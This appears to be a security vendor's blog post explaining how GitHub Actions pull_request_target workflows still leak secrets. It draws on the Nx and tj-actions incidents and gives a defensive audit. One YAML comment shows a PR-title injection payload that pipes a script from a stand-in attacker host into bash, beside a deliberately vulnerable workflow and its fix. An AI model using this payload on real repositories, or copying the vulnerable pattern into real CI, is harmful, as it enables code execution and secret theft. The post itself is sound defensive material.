← Blog
November 8, 202610 min readSecurity EngineeringAppSecSupply chainVulnerability Research

Why do pull_request_target workflows still leak secrets after GitHub’s fixes?

In August 2025 a single line echoing a pull request title let an attacker steal Nx’s npm token. Since then GitHub has changed three Actions defaults: pull_request_target always runs from the default branch, actions/checkout refuses fork code, and untrusted triggers get a read-only cache. Here is what those changes close, the four pwn-request routes they leave open, how the SpotBugs-to-tj-actions chain shows the blast radius, and an audit you can run on your own workflows.

By The Xalgorix Team

On 21 August 2025 the Nx monorepo gained a small GitHub Actions workflow that checked pull request titles. One line in it read echo "Validating PR title: ${{ github.event.pull_request.title }}", and the workflow ran on pull_request_target. It was reverted from master the next day after being flagged publicly, but older release branches still carried it. According to the timeline from Nx's advisory, as reproduced by Socket, an attacker opened a pull request against one of those outdated branches with shell commands in the title, used the workflow's read/write GITHUB_TOKEN to trigger the project's publish.yml, and walked away with the npm token. On 26 August, malicious nx releases were live on npm for about four hours, carrying a post-install script that hunted for secrets and, in Nx's own words, “attempted to use local AI tools (like Claude and Gemini)” to find more.

Since then GitHub has changed three platform defaults aimed squarely at this class of bug, the “pwn request”: a privileged workflow that ends up executing something an outsider controls. They are real improvements, and they close specific shapes. They do not change the trust model underneath, and none of them would have stopped the line above if it had still been sitting on the default branch. This piece walks through what changed, the paths that remain open, and an audit you can run against your own .github/workflows directory.

What a pull_request_target job is trusted with

The ordinary pull_request trigger runs a fork's workflow with a read-only token and no repository secrets, which is why it is safe to build untrusted code there. pull_request_target exists for the jobs that need more: labelling a fork's pull request, posting a comment, running a check that needs an API key. GitHub's reference on using it securely is blunt about what that means: the job gets the base repository's GITHUB_TOKEN and access to repository and organisation secrets, the same trust a push gets. The workflow file comes from the base repository, so by default no fork code runs. Every pwn request is some route by which fork-controlled bytes get executed anyway.

Fork opens a PR
title, branch, files
pull_request_target job
secrets + base-repo token
Attacker bytes execute
shell, build, artifact
Token or secret abused
publish, push, pivot
The trigger is not the bug. The bug is any path that lets attacker-controlled bytes execute inside the privileged job.

Three defaults GitHub changed

December 2025: the workflow always comes from the default branch

A changelog entry dated 7 November 2025 set 8 December 2025 as the date from which “the workflow file and checkout commit will always be taken from the repository’s default branch” for pull_request_target, with GITHUB_REF resolving to the default branch. Previously the workflow came from the pull request's base branch, so a vulnerable workflow you had already fixed on main stayed exploitable on every stale release branch. That is precisely the Nx route, and GitHub Security Lab's GHSL-2025-111 shows how easy it is to miss: reported on 1 September 2025, it described the first fix as insufficient because the vulnerable workflow was still present on the 21.4.x and website-21 branches.

June 2026: actions/checkout refuses fork code

On 18 June 2026 GitHub made actions/checkout v7 generally available with a default that refuses the textbook pwn request. Under pull_request_target, and under workflow_run when the upstream event was a pull request, it will not check out a fork's head or merge commit, whether you ask for it with ref: ${{ github.event.pull_request.head.sha }}, a refs/pull/N/head ref, or by pointing repository: at the fork. The opt-out is an input called allow-unsafe-pr-checkout, deliberately easy to spot in review. The behaviour was backported to every supported major version except v1, enforced from 20 July 2026.

June 2026: untrusted triggers get a read-only cache

Eight days later GitHub stopped issuing writable cache tokens for the default-branch scope to events “someone other than a repository collaborator can trigger”, naming pull_request_target, issue_comment and fork-originated workflow_run chains. Before this, a low-trust job could write a poisoned cache entry that a later release workflow restored, which GitHub describes as “a path to run arbitrary code and exfiltrate production secrets” in the more trusted workflow. Restores still work; blocked saves log a warning.

Four routes the new defaults leave open

All three changes harden the plumbing around the job. None of them limits what the job itself does with input it receives, and that is where most of the remaining risk lives.

1. Expression injection needs no checkout at all

Nx never checked out fork code. The attacker's payload arrived as the pull request title, and GitHub Actions does the rest: as the script-injection documentation explains, every ${{ }} expression in a run: step is evaluated and substituted into a temporary shell script before the shell parses it. Text the attacker controls becomes shell syntax. Checkout v7 does not apply, the cache change does not apply, and the December 2025 change only helps if the vulnerable line is on a branch other than the default.

# Vulnerable: the title is pasted into the script before bash runs.
on: pull_request_target
jobs:
  lint-title:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Validating PR title: ${{ github.event.pull_request.title }}"
      # A title such as   x"; curl -sSf https://evil.example/s.sh | bash; echo "
      # closes the string and runs the attacker's script inside the privileged job.

# Fixed: pass the value as data through an environment variable.
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: echo "Validating PR title: $TITLE"

The fix GitHub's secure-use reference gives is to “set the value of the expression to an intermediate environment variable”, so the shell receives it as a value rather than as code. The same applies to the pull request body, the head branch name, issue titles and comment bodies, and anything else an outsider can type. It also applies to inputs fed to actions/github-script, where the interpolation lands in JavaScript instead of bash.

2. Fork code fetched outside actions/checkout

Checkout v7 guards one action. The changelog says plainly that a run step which uses git or the gh CLI to pull a pull request's head and then executes it is out of scope, so gh pr checkout "$PR" && npm ci is exactly as dangerous as it was in 2024. npm ci runs lifecycle scripts from the fork's package.json; make, test runners, linters with plugin configs and pre-commit hooks all execute repository content. GitHub's rule for checked-out fork code is that it is “only ever inspected as data and never executed”.

Version pinning creates a second gap. The backport reached floating major tags such as actions/checkout@v4 automatically, but workflows pinned to a commit SHA, a minor or a patch version did not get it, and v1 never will. Pinning by SHA is still the right supply chain practice; it just means you only gain the new refusal when you deliberately upgrade.

3. Other privileged triggers

The checkout protection covers pull_request_target and pull-request-originated workflow_run only. A comment-driven bot on issue_comment (the familiar /ok-to-test or /benchmark pattern) that fetches and builds the pull request is not blocked, and it runs with the same secrets. workflow_run has its own trap: the common split design runs the untrusted build under pull_request, uploads an artifact, and lets a privileged workflow_run job post the results. GitHub's guidance is that such a job “should treat artifacts uploaded by other workflows as untrusted data”. Unzipping one into the workspace, where it can overwrite a script the job later runs, or interpolating its contents into a run: step, reopens the hole the split was meant to close.

4. A write-capable token as the pivot

Code execution in the Nx job was only the first stage. The decisive step was that the job's GITHUB_TOKEN could write: it created a branch with a modified CI script, dispatched the publishing workflow against it, and cleaned up afterwards. Nx's postmortem explains why the token had that power: GitHub made read-only the default for new repositories in February 2023, but existing repositories kept their old “Read and write permissions” setting. Plenty of long-lived projects still have it.

This is the part a defender controls completely. A top-level permissions: {} or contents: read, widened per job only where a job needs it, would have left the injected shell with a token that could not create a branch or start a workflow. Publishing credentials belong in an environment with required reviewers, because “a workflow job cannot access environment secrets until approval is granted”, or should not exist at all: Nx moved to npm trusted publishing over OIDC and manual 2FA approval for releases.

How far one stolen credential travels

Pwn requests deserve more attention than they usually get because of blast radius. A privileged job holds whatever credentials its maintainers gave it, and those credentials rarely stop at one repository. The March 2025 compromise of tj-actions/changed-files is the clearest worked example. As reported from Palo Alto Networks Unit 42's investigation, it began on 6 December 2024 with a malicious pull request against spotbugs/sonar-findbugs that exploited a pull_request_target workflow and exposed a maintainer's personal access token. That token also reached spotbugs/spotbugs and reviewdog/action-setup.

Dec 2024
Fork PR to spotbugs/sonar-findbugspull_request_target leaks maintainer PAT
11 Mar 2025
reviewdog/action-setup@v1 compromisedCVE-2025-30154
12-15 Mar 2025
tj-actions/changed-files compromisedCVE-2025-30066Secrets exposed in CI

Per CISA's alert, reviewdog/action-setup@v1 was compromised on 11 March 2025 between 18:42 and 20:31 UTC, and tj-actions/changed-files served malicious code from 12 March 00:00 UTC to 15 March 12:00 UTC, exposing secrets from workflows that ran it. CISA describes the tj-actions compromise as “potentially enabled by” the reviewdog one and added both CVEs to the Known Exploited Vulnerabilities catalog on 26 March 2025. Unit 42 assessed that the campaign was initially aimed at Coinbase. One permissive workflow in a Java static-analysis project became a path into the CI secrets of a widely used action's downstream users, because those consumers referenced the actions by movable tags.

The useful question about any privileged workflow is “what can its credentials reach?”, not “does it check out fork code?”. A personal access token in a bot workflow is a key to every repository its owner can write to.

An audit you can run this week

None of this is visible from outside. A black-box test of your web application, ours included, will never see a workflow file; this is a repository review. Start by finding the jobs that matter and the places outsider text reaches a shell:

cd .github/workflows

# 1. Privileged triggers: every hit needs a reason to exist
grep -nE 'pull_request_target|workflow_run|issue_comment' *.yml *.yaml

# 2. Outsider-controlled values interpolated into scripts
grep -nE '\$\{\{ *github\.(head_ref|event\.(pull_request|issue|comment|review)\.(title|body|head\.ref))' *.yml *.yaml

# 3. Pull request code fetched outside actions/checkout
grep -nE 'gh pr checkout|refs/pull/|git fetch .*pull/' *.yml *.yaml

# 4. Explicit opt-outs of the checkout protection
grep -n 'allow-unsafe-pr-checkout' *.yml *.yaml

# 5. Workflows with no top-level permissions block (inherit the repo default)
grep -L '^permissions:' *.yml *.yaml

Grep is a triage tool, not a verdict: multi-line expressions, composite actions and reusable workflows hide from it. GitHub recommends enabling CodeQL for GitHub Actions to cover those cases. Then work through the fixes in order of how much they cut off:

  • Remove the trigger where you can. If a job does not need secrets, move it to pull_request. If a repository has no legitimate use for pull_request_target, administrators can block it with workflow execution protections at repository or organisation level, which removes the risk regardless of how individual workflows are written.
  • Shrink the token. Set the repository default to read-only, add permissions: at the top of every workflow, and grant write scopes per job.
  • Treat every outsider value as data. Route titles, bodies, branch names, comments and artifact contents through environment variables or files, never through ${{ }} inside a script.
  • Gate the credentials that publish. Put release secrets in an environment with required reviewers, and prefer short-lived OIDC credentials (npm trusted publishing, cloud workload identity) over stored tokens. Never give a bot workflow a maintainer's personal token.
  • Lock what you run. Pin third-party actions to full commit SHAs and keep them updated with Dependabot, or adopt GitHub's workflow dependency lockfiles, currently in public preview, which record transitive action dependencies and verify the source repository's identity at run time. GitHub's secure-use guide calls a lockfile “the strongest protection available”, superseding SHA pinning for repositories that adopt it.
  • Fix it on every branch. Since 8 December 2025 a pull_request_target workflow on a stale branch no longer runs, but triggers such as push still run the workflow file from the branch they fire on. Deleting or rebasing dead release branches is cheap insurance.

What the new defaults buy you

GitHub's changes remove the three most mechanical pwn requests: an old workflow resurrected from a forgotten branch, a with: ref: pointing at the fork, and a poisoned cache waiting for the release job. What remains is the part that was always the maintainer's responsibility: deciding which jobs deserve secrets, making sure outsider text never becomes code inside them, and keeping the credentials they hold small enough that a single mistake stays a single-repository incident. The Nx and SpotBugs cases started with one workflow each. Both would have been far smaller had the privileged job held only a read-only GITHUB_TOKEN and no long-lived personal or publishing token, and those controls are available today without waiting for another platform default.

Ready to see it prove a bug?

Start scanning on Cloud →